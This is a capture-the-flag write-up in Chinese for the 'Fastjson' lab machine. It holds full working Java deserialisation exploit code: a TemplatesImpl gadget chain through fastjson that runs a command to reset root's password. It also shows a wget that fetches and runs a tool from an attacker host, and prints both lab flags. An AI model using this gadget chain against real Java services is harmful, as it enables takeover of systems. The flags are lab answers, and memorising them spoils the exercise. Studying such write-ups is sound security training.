

| Fastjson-daochunhan

| user

| 信息收集

先做端口探测：

```
export IP=192.168.64.19  
nmap -p- --min-rate=2000 -T4 $IP -oN ports.txt
```

```
nmap -p- --min-rate=2000 -T4 $IP -oN ports.txt  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-10 05:40 -0400  
Nmap scan report for 192.168.64.19  
Host is up (0.00047s latency).  
Not shown: 65531 closed tcp ports (reset)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
80/tcp    open  http  
2222/tcp  open  EtherNetIP-1  
8080/tcp  open  http-proxy  
MAC Address: 52:54:00:51:DE:54 (QEMU virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds
```

开放 3 个端口：

```
22/tcp    open  ssh  
80/tcp    open  http  
8080/tcp  open  http-proxy
```

详细版本探测：

```
nmap -sC -sV -p22,80,8080 $IP -oN detail.txt
```

```
nmap -sC -sV -p22,80,8080 $IP -oN detail.txt
```

```
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-10 06:27 -0400
```

```
Nmap scan report for 192.168.64.19
```

```
Host is up (0.0019s latency).
```

```
PORT      STATE SERVICE VERSION
```

```
22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
```

```
80/tcp    open  http     Apache httpd 2.4.67 ((Unix))
```

```
|_ http-methods:
```

```
|_ Potentially risky methods: TRACE
```

```
|_ http-title: Site doesn't have a title (text/html).
```

```
|_ http-server-header: Apache/2.4.67 (Unix)
```

```
8080/tcp  open  http     Apache Tomcat (language: en)
```

```
|_ http-title: \xE5\x85\xAC\xE4\xBA\xA4\xE8\xBD\xA6\xE4\xB9\x8B\xE8\xB0\x9C
```

```
MAC Address: 52:54:00:51:DE:54 (QEMU virtual NIC)
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

```
Nmap done: 1 IP address (1 host up) scanned in 10.64 seconds
```

- **80**: Apache httpd, 页面比较空。
- **8080**: 一个 Java Web 应用

靶机名叫 Fastjson, 方向上先往 Java 反序列化考虑

访问 <http://192.168.64.19:8080/> :



是一个答题形式的页面, 第一关要求输入数字。

Web 枚举

尝试了用 Burp 抓提交请求，填 0.5 会 302 跳失败页，后面发现第一关填 0 后就会自动跳到第二关：

The image shows the Burp Suite interface. The top bar has buttons for 'Send', 'Cancel', and 'Follow redirection'. The 'Request' tab is active, showing a POST request to 'http://192.168.64.19:8080'. The 'Response' tab is also active, showing a 302 redirect to 'http://192.168.64.19:8080/quiz2jkdjw'.

```
Request
1 POST / HTTP/1.1
2 Host: 192.168.64.19:8080
3 Content-Length: 8
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.64.19:8080
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/125.0.6422.60 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
  /png,*/;*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://192.168.64.19:8080/
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: zh-CN,zh;q=0.9
13 Connection: keep-alive
14
15 answer=0

Response
1 HTTP/1.1 302
2 Location: http://192.168.64.19:8080/quiz2jkdjw
3 Content-Language: zh-CN
4 Content-Length: 0
5 Date: Wed, 10 Jun 2026 11:04:12 GMT
6 Keep-Alive: timeout=60
7 Connection: keep-alive
8
9
```

第二关是“琪露诺的 Java 魔法教室”，问 `Class.forName()` 和 `ClassLoader.loadClass()` 的区别：

The image shows a web browser displaying a quiz titled '琪露诺·JAVA大师' (Cirno's Java Master). The quiz is about 'Java 类加载魔法' (Java Class Loading Magic). The question asks: '「笨蛋测试！`Class.forName()` 和 `ClassLoader.loadClass()` 哪个会触发类的初始化阶段？」' (Stupid test! Which one triggers the class initialization stage?). Below the question, there is a code snippet showing two methods: `Class.forName("com.cirno.IceQueen");` and `ClassLoader.getSystemClassLoader().loadClass("com.cirno.IceQueen");`. At the bottom, there is a text input field with the placeholder '输入你的答案 (forName / 1)' and a '提交答案' (Submit Answer) button.

答案是 `forName`

Java 类的阶段大概是：加载 -> 连接 -> 初始化

`loadClass()` 主要对应是加载，而 `forName()` 根据类名找到这个类并返回 Class 对象，同时默认会初始化

The image displays two screenshots of a web browser's developer tools, specifically the Network tab, showing HTTP requests and responses.

Top Screenshot:

- Request:** GET /quiz2jkdjw HTTP/1.1. Headers include Host: 192.168.64.19:8080, Upgrade-Insecure-Requests: 1, User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36, Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7, Accept-Encoding: gzip, deflate, br, Accept-Language: zh-CN,zh;q=0.9, Connection: keep-alive.
- Response:** A JavaScript file. The code defines a function `createIceParticle()` that generates random ice particles and appends them to a container. It also sets a timeout to remove particles and an interval to create new ones.

Bottom Screenshot:

- Request:** POST /quiz2jkdjw HTTP/1.1. Headers include Host: 192.168.64.19:8080, Content-Length: 14, Cache-Control: max-age=0, Upgrade-Insecure-Requests: 1, Origin: http://192.168.64.19:8080, Content-Type: application/x-www-form-urlencoded, User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36, Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7, Referer: http://192.168.64.19:8080/quiz2jkdjw, Accept-Encoding: gzip, deflate, br, Accept-Language: zh-CN,zh;q=0.9, Connection: keep-alive. The body contains `answer=forName`.
- Response:** A JavaScript file, similar to the one above, but with a comment `/*--Cirno:999999999--*/` at the bottom.

提交答案后页面多了一行注释，就是 SSH 凭据，直接用用户名密码登录拿到 user shell。

SSH 登录

```
ssh Cirno@$IP
# password: 999999999
```

```
ssh Cirno@192.168.64.19
```

```
Cirno@192.168.64.19's password:
```

```

  _
-- \ \ / \ / / _ \ | / _ \ / _ \ | ' _ \ ' _ \ / _ \
  \ V V / _ \ | ( _ | ( _ ) | | | | | | | | | |
   \ / \ / \ _ \ | \ _ \ \ _ \ / | | | | | | \ _ \

```

```
Cirno@Fastjson:~$ cat user.txt
```

```
flag{f176c3af829faae619fb3d3b9aa6ae77}
```

```
Cirno@Fastjson:~$ id
```

```
uid=1000(Cirno) gid=1000(Cirno) groups=1000(Cirno)
```

| root

| 基础枚举

```
id
```

```
uname -a
```

```
sudo -l
```

```
Cirno@Fastjson:~$ id
```

```
uid=1000(Cirno) gid=1000(Cirno) groups=1000(Cirno)
```

```
Cirno@Fastjson:~$ uname -a
```

```
Linux Fastjson 7.0.10-0-stable #1-Alpine SMP PREEMPT_DYNAMIC 2026-05-23 11:50:19 x86_64 Linux
```

```
Cirno@Fastjson:~$ sudo -l
```

```
[sudo] password for Cirno:
```

```
sudo: a password is required
```

```
Cirno@Fastjson:~$ sudo -l
```

```
[sudo] password for Cirno:
```

```
Sorry, user Cirno may not run sudo on Fastjson.
```

系统是 Alpine，当前用户 `Cirno`，`sudo -l` 没有可用提权点。

看 SUID:

```
find / -perm -4000 -type f 2>/dev/null
```

```

Sorry, user Cirno may not run sudo on Fastjson.
Cirno@Fastjson:~$ find / -perm -4000 -type f 2>/dev/null
/bin/umount
/bin/bbsuid
/bin/mount
/usr/bin/expiry
/usr/bin/chsh
/usr/bin/chage
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/chfn
/usr/sbin/suexec
Cirno@Fastjson:~$

```

基本都是系统自带二进制，没有自定义 SUID 程序

根目录能看到大量 **Baka** 文件，属主 root、时间戳分散，推测后台存在以 root 运行的循环：

```

Cirno@Fastjson:~$ cd /
Cirno@Fastjson:/$ ls -la
total 7413837
drwxr-xr-x  21 root    root          4096 Jun 10 14:40 .
drwxr-xr-x  21 root    root          4096 Jun 10 14:40 ..
-rw-r--r--   1 root    root           0 Jun 10 14:49 Baka0
-rw-r--r--   1 root    root           0 Jun 10 14:46 Baka1
-rw-r--r--   1 root    root           0 Jun 10 12:28 Baka11
-rw-r--r--   1 root    root           0 Jun 10 12:44 Baka12
-rw-r--r--   1 root    root           0 Jun 10 13:56 Baka17
-rw-r--r--   1 root    root           0 Jun 10 13:03 Baka18
-rw-r--r--   1 root    root           0 Jun 10 14:01 Baka19
-rw-r--r--   1 root    root           0 Jun 10 13:26 Baka2
-rw-r--r--   1 root    root           0 Jun 10 13:50 Baka20

```

/var/opt 下有个可疑 jar，前面的凭据也在强调 9，推测是一个入手点：

```
ls -l /var/opt
```

```

Cirno@Fastjson:~$ ls -l /var/opt
total 544
-rw-r--r--   1 root    root      550077 May 28 12:26 999.jar
-rw-r--r--   1 root    root         605 May 28 12:30 tt.java
Cirno@Fastjson:~$

```

I 定位周期性 root 任务

用 **pspy** 监控进程：

```
wget http://192.168.64.10:8000/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64 -pf -i 100
```

观察到的关键进程：

```
2026/06/11 02:22:56 CMD: UID=123 PID=2507 | /usr/sbin/ntpd -N -p pool.ntp.org -n
2026/06/11 02:22:56 CMD: UID=0 PID=2481 | java -jar /root/web.jar
2026/06/11 02:22:56 CMD: UID=0 PID=2479 | /usr/sbin/crond -c /etc/crontabs -f
2026/06/11 02:22:56 CMD: UID=0 PID=2448 | /usr/sbin/httpd -d /var/www -f /etc/apache
2026/06/11 02:22:56 CMD: UID=0 PID=2388 | /sbin/sshd -f
```

```
PID=2479 UID=0 /usr/sbin/crond -c /etc/crontabs -f # 调度器
PID=2481 UID=0 java -jar /root/web.jar # 常驻 web 应用
(8080)
```

```
2026/06/10 15:55:55 FS: CLOSE_NOWRITE | /etc/zoneinfo/Asia/Shanghai
2026/06/10 15:56:00 FS: OPEN | /etc/passwd
2026/06/10 15:56:01 CMD: UID=0 PID=6439 | /usr/sbin/crond -c /etc/crontabs -f
2026/06/10 15:56:01 FS: ACCESS | /etc/passwd
2026/06/10 15:56:01 FS: CLOSE_NOWRITE | /etc/passwd
2026/06/10 15:56:01 FS: OPEN | /etc/group
2026/06/10 15:56:01 FS: ACCESS | /etc/group
2026/06/10 15:56:01 FS: CLOSE_NOWRITE | /etc/group
2026/06/10 15:56:01 FS: CLOSE_WRITE | /var/log/messages
2026/06/10 15:56:01 FS: OPEN | /usr/lib/libreadline.so.8.3
2026/06/10 15:56:01 FS: OPEN | /var/log/messages
2026/06/10 15:56:01 FS: ACCESS | /usr/lib/libreadline.so.8.3
2026/06/10 15:56:01 FS: MODIFY | /var/log/messages
2026/06/10 15:56:01 FS: OPEN | /usr/lib/libncursesw.so.6.6
2026/06/10 15:56:01 FS: ACCESS | /usr/lib/libncursesw.so.6.6
2026/06/10 15:56:01 FS: OPEN | /usr/lib/jvm/java-1.8-openjdk/bin/java
2026/06/10 15:56:01 FS: ACCESS | /usr/lib/jvm/java-1.8-openjdk/bin/java
2026/06/10 15:56:01 FS: ACCESS | /usr/lib/jvm/java-1.8-openjdk/bin/java
2026/06/10 15:56:01 FS: CLOSE_NOWRITE | /usr/lib/libreadline.so.8.3
2026/06/10 15:56:01 FS: CLOSE_NOWRITE | /usr/lib/libncursesw.so.6.6
2026/06/10 15:56:01 FS: OPEN | /usr/lib/jvm/java-1.8-openjdk/lib/amd64/jli/libjli.so
2026/06/10 15:56:01 FS: ACCESS | /usr/lib/jvm/java-1.8-openjdk/lib/amd64/jli/libjli.so
2026/06/10 15:56:01 FS: OPEN | /usr/lib/libz.so.1.3.2
2026/06/10 15:56:01 FS: ACCESS | /usr/lib/libz.so.1.3.2
2026/06/10 15:56:01 FS: OPEN | /var/opt/999.jar
2026/06/10 15:56:01 FS: ACCESS | /var/opt/999.jar
2026/06/10 15:56:01 FS: CLOSE_NOWRITE | /var/opt/999.jar
2026/06/10 15:56:01 FS: OPEN | /usr/lib/jvm/java-1.8-openjdk/ire/lib/amd64/ivm.cfa
2026/06/10 15:57:00 FS: ACCESS | /etc/passwd
2026/06/10 15:57:00 CMD: UID=0 PID=6454 | /usr/sbin/crond -c /etc/crontabs -f
2026/06/10 15:57:00 FS: CLOSE_NOWRITE | /etc/passwd
2026/06/10 15:57:00 FS: OPEN | /etc/group
2026/06/10 15:57:00 FS: ACCESS | /etc/group
2026/06/10 15:57:00 FS: CLOSE_NOWRITE | /etc/group
2026/06/10 15:57:00 FS: CLOSE_WRITE | /var/log/messages
2026/06/10 15:57:00 FS: OPEN | /var/log/messages
2026/06/10 15:57:00 FS: MODIFY | /var/log/messages
2026/06/10 15:57:00 FS: OPEN | /usr/lib/libreadline.so.8.3
2026/06/10 15:57:00 FS: ACCESS | /usr/lib/libreadline.so.8.3
2026/06/10 15:57:00 FS: OPEN | /usr/lib/libncursesw.so.6.6
2026/06/10 15:57:00 FS: ACCESS | /usr/lib/libncursesw.so.6.6
2026/06/10 15:57:00 FS: OPEN | /usr/lib/jvm/java-1.8-openjdk/bin/java
2026/06/10 15:57:00 FS: ACCESS | /usr/lib/jvm/java-1.8-openjdk/bin/java
2026/06/10 15:57:00 FS: CLOSE_NOWRITE | /usr/lib/libreadline.so.8.3
2026/06/10 15:57:00 FS: CLOSE_NOWRITE | /usr/lib/libncursesw.so.6.6
2026/06/10 15:57:00 FS: OPEN | /usr/lib/jvm/java-1.8-openjdk/lib/amd64/jli/libjli.so
2026/06/10 15:57:00 FS: ACCESS | /usr/lib/jvm/java-1.8-openjdk/lib/amd64/jli/libjli.so
2026/06/10 15:57:00 FS: OPEN | /usr/lib/libz.so.1.3.2
2026/06/10 15:57:00 FS: ACCESS | /usr/lib/libz.so.1.3.2
2026/06/10 15:57:00 FS: OPEN | /var/opt/999.jar
2026/06/10 15:57:00 FS: ACCESS | /var/opt/999.jar
2026/06/10 15:57:00 FS: CLOSE_NOWRITE | /var/opt/999.jar
2026/06/10 15:57:00 FS: OPEN | /usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/jvm.cfg
2026/06/10 15:57:00 FS: ACCESS | /usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/jvm.cfg
```

通过 `pspy64` 观察到，在整分钟时刻 root 权限的 `crond` 活动后，系统立即访问 Java 可执行文件并打开 `/var/opt/999.jar`，说明该 JAR 被 root 的定时任务触发执行。

I 分析 999.jar

把 `999.jar` 拉回 Kali:

```
scp -0 Cirno@$IP:/var/opt/999.jar .
```

```
Cirno@192.168.64.19's password:  
999.jar
```

```
daochunhan@kali ~/Desktop/CTF (0.978s)
```

```
unzip -o 999.jar -d 999_x >/dev/null
```

```
daochunhan@kali ~/Desktop/CTF (0.39s)
```

```
cat 999_x/META-INF/MANIFEST.MF
```

```
Manifest-Version: 1.0
```

```
Build-Jdk-Spec: 1.8
```

```
Created-By: Maven Archiver 3.6.0
```

```
Main-Class: tt
```

jadx 反编译:

```

daochunhan@kali ~/Desktop/CTF (1m 26.73s)
jadx "${pwd}/999.jar" -d "${pwd}/999_src" 2>/dev/null
INFO - loading ...
INFO - processing ...
INFO - done

daochunhan@kali ~/Desktop/CTF (0.646s)
grep -rn "class tt\\main(" 999_src/
999_src/sources/com/alibaba/fastjson/util/ASMClassLoader.java:65:         return ASMClassLoader.class.getProtectionDomain();
999_src/sources/defpackage/tt.java:10:public class tt {
999_src/sources/defpackage/tt.java:11:     public static void main(String[] args) throws Exception {

cat 999_src/sources/defpackage/tt.java
package defpackage;

import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.ObjectInputStream;
import java.util.Base64;
import java.util.Scanner;

/* JADX INFO: loaded from: 999.jar:tt.class */
public class tt {
    public static void main(String[] args) throws Exception {
        Scanner scanner = new Scanner(new File("/usr/1.txt")).useDelimiter("\\A");
        if (scanner.hasNext()) {
            String data = scanner.next();
            System.out.println(data);
            byte[] ass = Base64.getDecoder().decode(data);
            ByteArrayInputStream bais = new ByteArrayInputStream(ass);
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
        }
    }
}

```

核心逻辑：

```

读取 /usr/1.txt
base64 decode
ObjectInputStream.readObject() // 把内容当 Java 对象反序列化恢复

```

在 `/usr/1.txt` 中发现一段 Base64 数据，解码后前两个字节是 `AC ED` 是 Java 原生序列化数据的特征。结合 `/var/opt/tt.java` 中的 `Base64.getDecoder().decode()` 和 `ObjectInputStream.readObject()`，基本 `/usr/1.txt` 就是反序列化输入点

确认文件权限：

```

ls -l /usr/1.txt
# -rwxrwxrwx    1 root    root          3228 Jun 10 22:45 /usr/1.txt

```

`/usr/1.txt` 属主是 root 却可写

I 构造 TemplatesImpl Payload

1. BadAttributeValueExpException 负责触发 toString()
2. JSONObject.toString() 进入 fastjson 的序列化逻辑
3. TemplatesImpl 在被 fastjson 取 getter 时加载恶意 class

```
ObjectInputStream.readObject()  
-> BadAttributeValueExpException.readObject()  
-> val.toString()  
-> JSONObject.toString()  
-> TemplatesImpl.getOutputProperties()  
-> TemplatesImpl.newTransformer()  
-> 加载 Evil.class  
-> Evil 的 static 代码块执行命令
```

构造恶意类，命令放在 `static` 块里，作用是改 root 密码并 `touch` 一个标记文件用于确认是否被 root 触发

Evil.java:

```
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
public class Evil extends AbstractTranslet {  
    static {  
        try {  
            Runtime.getRuntime().exec(new String[]{  
                "/bin/sh", "-c",  
                "(echo 'root:toor' | chpasswd || echo 'root:toor' |  
/bin/busybox chpasswd || echo 'root:toor' | /bin/bbsuid chpasswd) && touch  
/tmp/root_pass_done"  
            });  
            Thread.sleep(2000);  
        } catch (Exception e) {}  
    }  
  
    public void transform(DOM d, SerializationHandler[] h) throws  
TransletException {}  
    public void transform(DOM d, DTMAxisIterator i, SerializationHandler h)  
throws TransletException {}  
}
```

GenBAV.java (生成 `BadAttributeValueExpException` → `JSONObject` → `TemplatesImpl` 的序列化对象并 base64 输出):

```
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class GenBAV {
    public static void setField(Object obj, String name, Object value)
    throws Exception {
        Field f = obj.getClass().getDeclaredField(name);
        f.setAccessible(true);
        f.set(obj, value);
    }

    public static byte[] readClassBytes(String name) throws Exception {
        FileInputStream in = new FileInputStream(name);
        byte[] data = new byte[in.available()];
        in.read(data);
        in.close();
        return data;
    }

    public static void main(String[] args) throws Exception {
        byte[] evilBytes = readClassBytes("Evil.class");

        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_bytecodes", new byte[][]{evilBytes});
        setField(templates, "_name", "Evil");
        setField(templates, "_tfactory", new TransformerFactoryImpl());

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("x", templates);

        BadAttributeValueExpException obj = new
        BadAttributeValueExpException(null);
        setField(obj, "val", jsonObject);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
```

```

        ObjectOutputStream out = new ObjectOutputStream(bos);
        out.writeObject(obj);
        out.close();

        System.out.print(Base64.getEncoder().encodeToString(bos.toByteArray()));
    }
}

```

编译并把 base64 payload 写进 `/usr/1.txt` :

```

/usr/lib/jvm/java-1.8-openjdk/bin/javac Evil.java
/usr/lib/jvm/java-1.8-openjdk/bin/javac -cp ./var/opt/999.jar GenBAV.java
/usr/lib/jvm/java-1.8-openjdk/bin/java -cp ./var/opt/999.jar GenBAV >
/usr/1.txt

```

触发验证

可以用 pspy 看到 payload 触发:

```

2026/06/11 01:09:03 CMD: UID=0    PID=15168  | /bin/sh -c (echo 'root:toor' | chpasswd || echo 'root:toor' | /bin/busybox c
hpasswd || echo 'root:toor' | /bin/bbsuid chpasswd) && touch /tmp/root_pass_done
2026/06/11 01:09:03 CMD: UID=0    PID=15172  | chpasswd
2026/06/11 01:09:03 CMD: UID=0    PID=15174  | touch /tmp/root_pass_done

```

`Evil.java` 静态块里的命令被 **UID=0** 执行:

```

$ ls -l /tmp/root_pass_done
-rw-r--r--    1 root    root          0 Jun 10 22:46 /tmp/root_pass_done

```

属主是 root, 说明 payload 确实由 root 权限触发, root 密码已改成 **toor** :

```

su - root
# Password: toor

```

```

root@Fastjson:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Fastjson:~# whoami
root
root@Fastjson:~# cat root.txt
flag{f8b134c9e5c4ab3c9787c29effad5e6a}
root@Fastjson:~#

```

拿到 root shell